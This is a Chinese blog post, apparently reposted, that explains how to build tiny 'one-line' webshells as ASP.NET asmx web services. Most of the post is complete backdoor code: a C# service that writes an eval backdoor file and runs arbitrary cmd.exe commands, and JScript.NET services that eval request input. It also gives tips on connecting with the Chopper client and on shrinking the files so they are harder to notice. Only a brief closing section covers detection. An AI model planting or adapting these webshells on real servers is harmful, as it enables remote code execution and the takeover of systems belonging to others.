欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

探索基于.NET下实现一句话木马之asmx篇

程序员文章站 2022-04-19 13:51:47
0x01 前言 上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款asmx马儿 https://github.com/tennc/webshell/blob/maste ......

0x01 前言

上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍web service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款asmx马儿 ,依旧是一个大马如下图

探索基于.NET下实现一句话木马之asmx篇

 

这个还只是对客户端的菜刀做了适配可用,暂时不符合一句话木马的特点哈,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 asmx的运行过程。

0x02 简介和原理

web service是一个基于可编程的web的应用程序,用于开发分布式的互操作的应用程序,也是一种web服务,web service的主要目标是跨平台的可互操作性,为了实现这一目标web service 完全基于xml(可扩展标记语言)、xsd(xml schema)等独立于平台、独立于软件供应商的标准,是创建可互操作的、分布式应用程序的新平台。简单的来说web service具备三个要素soap(simple object access protocol)、wsdl(webservicesdescriptionlanguage)、uddi(universaldescriptiondiscovery andintegration)之一, soap用来描述传递信息的格式, wsdl 用来描述如何访问具体的接口, uddi用来管理,分发查询webservice ,也因此使用web service有许多优点,例如可以跨平台工作、部署升级维护起来简单方便、实现多数据多个服务的聚合使用等等。再结合下图说明一下webservice工作的流程

探索基于.NET下实现一句话木马之asmx篇

无论使用什么工具、语言编写 webservice,都可以使用 soap 协议通过 http 调用,创建 webservice 后,任何语言、平台的客户都可以阅读 wsdl 文档来调用 webservice ,同时客户端也可以根据 wsdl 描述文档生成一个 soap 请求信息并发送到web服务器,web服务器再将请求转发给 webservice 请求处理器。

对于.net而言,webservice请求处理器则是一个 .net framework 自带的 isapi extension。web请求处理器用于解析收到的soap请求,调用 webservice,然后生成相应的soap应答。web服务器得到soap应答后,在通过http应答的方式将其返回给客户端,但webservice也支持http post请求,仅需要在服务端增加一项配置即可。

 

0x03 一句话的实现

3.1、webmethod

在web service程序中,如果一个公共方法想被外界访问调用的话,就需要加上webmethod,加上[webmethod]属性的公有方法就可以被访问,而没有加这个属性的方法就是不能被访问的。将 webmethod 属性 (attribute) 附加到 public 方法表示希望将该方法公开为 xml web services 的一部分,它具备6个属性:description 、enablesession、messagename、transactionoption、cacheduration、bufferresponse,为了更清晰的表述webservice请看下面这段代码

探索基于.NET下实现一句话木马之asmx篇

探索基于.NET下实现一句话木马之asmx篇

这里声明成一个字符串类型的公共方法helloworld,如果此时在方法体内实现创建aspx文件,保存内容为一句话小马的话那么这个webservice就变成了服务后门,依照这个推理就产生了c#版本的webservice小马,实现了两个功能,一个是创建文件,还有一个是执行cmd命令,核心代码如下:

[system.componentmodel.toolboxitem(false)]
        [webmethod]
        /**
        create a backdoor
        **/
        public string webshell()
        {
            streamwriter wickedly = file.createtext(httpcontext.current.server.mappath("ivan.aspx"));
            wickedly.write("<%@ page language=\"jscript\"%><%eval(request.item[\"ivan\"],\"unsafe\");%>");
            wickedly.flush();
            wickedly.close();
            return "wickedly";
        }
        [webmethod]
        /**
        exec command via cmdshell 
       **/
        public string cmdshell(string input)
        {
            process pr = new process();
            pr.startinfo.filename = "cmd.exe";
            pr.startinfo.redirectstandardoutput = true;
            pr.startinfo.useshellexecute = false;
            pr.startinfo.arguments = "/c " + input;
            pr.startinfo.windowstyle = processwindowstyle.hidden;
            pr.start();
            streamreader osr = pr.standardoutput;
            string ocmd = osr.readtoend();
            osr.close();
            osr.dispose();
            return ocmd;
        }

探索基于.NET下实现一句话木马之asmx篇

知道原理后就开始着手打造菜刀可用的一句话木马,和一般处理程序类似通过jscript.net的eval方法去实现代码执行,根据之前的介绍webmethod有多个属性并且根据微软的官方文档 可以得出jscript.net中可以使用 webmethodattribute 来替代[webmethod]。

一句话实现的代码如下:

<%@ webservice language="jscript" class="asmxwebmethodspy"%>
import system;
import system.web;
import system.io;
import system.web.services;
public class asmxwebmethodspy extends webservice
{       
    webmethodattribute function invoke(ivan: string) : void
    { 
	       var i = httpcontext.current;
        var request = i.request;
        var response = i.response;
        var server = i.server;
	        response.write("<h1>just for research learning, do not abuse it! written by <a href='https://github.com/ivan1ee'>ivan1ee</a></h1>");
        eval(ivan); 
    } 
}

打开浏览器,测试效果如下

探索基于.NET下实现一句话木马之asmx篇

依照soap1.1的规范要求,发送请求的数据包就可以实现一句话代码执行,笔者这里还是拿当前的时间作为攻击载荷,如下图

探索基于.NET下实现一句话木马之asmx篇

3.2、scriptmethod

在研究webmethod的时候,发现visualstudio有段注释如下图

探索基于.NET下实现一句话木马之asmx篇

当客户端请求的方式是ajax的时候会导入system.web.script.services.scriptservice命名空间,笔者尝试去挖掘一下可能存在的新的攻击点

探索基于.NET下实现一句话木马之asmx篇

代码里responseformat表示方法要返回的类型,一般为json或者xml; usehttpget等于true表示前台的ajax是通过get可以访问此方法,如果前台ajax通过post,则报错。

根据c#中的代码可知需要配置webmethod和scriptmethod才能正常玩转,而在jscript.net中实现这两个功能的分类是webmethodattribute类和scriptmethodattribute类,最终写出一句话木马服务端代码:

<%@ webservice language="jscript" class="scriptmethodspy"%>
import system;
import system.web;
import system.io;
import system.web.services
import system.web.script.services
public class scriptmethodspy extends webservice
{       
	webmethodattribute scriptmethodattribute function invoke(ivan : string) : void
    { 
	        var i = httpcontext.current;
        var request = i.request;
        var response = i.response;
        var server = i.server;
	response.write("<h1>just for research learning, do not abuse it! written by <a href='https://github.com/ivan1ee'>ivan1ee</a></h1>");
        eval(ivan); 
    } 
}

打开浏览器输入 response.write(datetime.now) 成功打印出当前时间

探索基于.NET下实现一句话木马之asmx篇

探索基于.NET下实现一句话木马之asmx篇

可惜的是这种方法不支持.net  2.0究其原因是using system.web.script.services;这个命名空间并不在system.web中,而是在ajax扩展中需要额外安装asp.net 2.0 ajax extensions,所以在2.0的环境下尽量避免使用该方法。

0x04 菜刀连接

菜刀不支持soap的方式提交payload,直接连接asmx文件就会出现下图错误

探索基于.NET下实现一句话木马之asmx篇

第一种解决方法可以自己写代码实现支持soap的客户端,第二种办法参考asmx页面最下方给出的http post提交方式

探索基于.NET下实现一句话木马之asmx篇

本地环境下用菜刀连接没问题,可以正常连接

探索基于.NET下实现一句话木马之asmx篇探索基于.NET下实现一句话木马之asmx篇

但通常部署到服务器上可能会遇到下面的提示

探索基于.NET下实现一句话木马之asmx篇

多数情况下程序开发者会支持http post请求,所以对此不必过于担心。还有就是基于优化考虑将asmxwebmethodspy.asmx进一步压缩体积后只有499个字节,asmxscriptmethodspy.asmx也只有547个字节。

探索基于.NET下实现一句话木马之asmx篇

 

 

0x05 防御措施

通过菜刀连接的方式,添加可以检测菜刀关键特征的规则;对于web应用来说,尽量保证代码的安全性;对于ids规则层面来说,上传的时候可以加入webmethodattribute等关键词的检测

 

0x06 小结

 还有本文提供了两种方式实现asmx一句话的思路,当然还有更多编写一句话的技巧有待发掘,下次将介绍另外一种姿势,敬请期待;文章的代码片段请参考 https://github.com/ivan1ee

 

0x07 参考链接

 

https://www.cnblogs.com/bpdwn/p/3479421.html

https://github.com/ivan1ee